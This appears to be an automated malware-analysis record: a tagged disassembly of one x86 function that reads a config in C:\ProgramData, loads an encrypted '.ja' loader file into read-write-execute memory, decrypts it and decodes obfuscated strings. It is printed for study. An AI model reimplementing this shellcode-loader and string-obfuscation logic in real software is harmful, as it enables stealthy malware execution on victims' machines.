Function at 0x10009960
Capabilities:
Allocate or change rwx memory
Check if file exists
Execute shellcode via indirect call
Get common file path
Get file attributes
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x284
lea eax, [ebp - 0x178]
push ebx
push esi
push edi
push 0x104
push 0
push eax
call fcn.1000f750
add esp, 0xc
push str.C:ProgramDatauncfg.cfg
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov edi, dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebx, dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
je 0x10009a08
push 0
push 0x80
push 3
push 0
push 0
push 1
push str.C:ProgramDatauncfg.cfg
call ebx
mov esi, eax
cmp esi, 0xffffffff
je 0x10009a08
push 0
push esi
call edi
push 0
lea ecx, [ebp - 0x68]
push ecx
push eax
lea eax, [ebp - 0x178]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [ebp - 0x178]
dec ecx
mov al, byte [ecx + 1]
lea ecx, [ecx + 1]
test al, al
jne 0x100099e3
mov eax, dword [str.loader.ja]
mov dword [ecx], eax
mov eax, dword [0x100381d8]
mov dword [ecx + 4], eax
mov ax, word [0x100381dc]
mov word [ecx + 8], ax
jmp 0x10009a2a
lea edi, [ebp - 0x178]
dec edi
nop
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x10009a10
mov ecx, 8
mov esi, str.c:programdata_vxhostloader.ja
rep movsd dword es:[edi], dword [esi]
mov edi, dword [sym.imp.KERNEL32.dll_GetFileSize]
push 0
push 0x80
push 3
push 0
push 0
push 1
lea eax, [ebp - 0x178]
push eax
call ebx
mov esi, eax
cmp esi, 0xffffffff
je 0x10009c54
push 0
push esi
call edi
push 0x40
push 0x1000
mov ebx, eax
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
lea eax, [ebp - 0x6c]
push 0
push eax
push ebx
push edi
push esi
mov dword [ebp - 0x60], edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
mov edx, edi
mov ecx, 0x3e
call fcn.10008730
add esp, 4
lea eax, [ebp - 0x280]
push 0x104
push 0
push eax
call fcn.1000f750
add esp, 0xc
lea eax, [ebp - 0x280]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov dword [ebp - 0x14], 0x8d938a7c
mov dword [ebp - 0x10], 0x84818d77
mov dword [ebp - 0xc], 0x9b8f479c
mov dword [ebp - 8], 0xd91
mov dword [ebp - 4], 0
cmp dword [ebp - 4], 0x10
jae 0x10009b14
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 4]
add ecx, 0x618d5f04
mov al, byte [ebp + eax - 0x14]
movzx edx, al
mov eax, ecx
and eax, edx
add eax, eax
sub ecx, eax
mov eax, dword [ebp - 4]
add ecx, edx
sub cl, 0x1c
mov byte [ebp + eax - 0x14], cl
mov eax, dword [ebp - 4]
inc eax
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0x10
jb 0x10009ae0
lea edx, [ebp - 0x14]
mov esi, edx
nop dword [eax]
mov al, byte [edx]
inc edx
test al, al
jne 0x10009b20
lea edi, [ebp - 0x280]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x10009b30
mov ecx, edx
mov dword [ebp - 0x64], 0
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [ebp - 0x64]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push ebx
push dword [ebp - 0x60]
lea ecx, [ebp - 0x280]
call fcn.10004da0
add esp, 8
xorps xmm0, xmm0
test eax, eax
je 0x10009bdb
mov dword [ebp - 0x2a], 0xdb968e84
mov dword [ebp - 0x26], 0x9490938b
mov dword [ebp - 0x22], 0xb2e0a690
mov word [ebp - 0x1e], 0x5af
movq qword [ebp - 0x1c], xmm0
mov dword [ebp - 4], 0
cmp dword [ebp - 4], 0x16
jae 0x10009c54
nop word [eax + eax]
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 4]
add ecx, 0x3bdd5757
mov al, byte [ebp + eax - 0x2a]
movzx edx, al
mov eax, ecx
and eax, edx
add eax, eax
sub ecx, eax
mov eax, dword [ebp - 4]
add ecx, edx
sub cl, 0x61
mov byte [ebp + eax - 0x2a], cl
mov eax, dword [ebp - 4]
inc eax
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0x16
jb 0x10009ba0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov dword [ebp - 0x59], 0xa3767e78
mov dword [ebp - 0x55], 0x78747373
mov dword [ebp - 0x51], 0x61ac667c
mov dword [ebp - 0x4d], 0x7c7c7e65
mov word [ebp - 0x49], 0x957a
movups xmmword [ebp - 0x47], xmm0
mov dword [ebp - 0x2f], 0
movq qword [ebp - 0x37], xmm0
mov byte [ebp - 0x2b], 0
mov dword [ebp - 4], 0
cmp dword [ebp - 4], 0x2f
jae 0x10009c54
nop
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 4]
add ecx, 0xd2e50d41
mov al, byte [ebp + eax - 0x59]
movzx edx, al
mov eax, ecx
and eax, edx
add eax, eax
sub ecx, eax
mov eax, dword [ebp - 4]
add ecx, edx
add cl, 0x39
mov byte [ebp + eax - 0x59], cl
mov eax, dword [ebp - 4]
inc eax
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0x2f
jb 0x10009c20
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret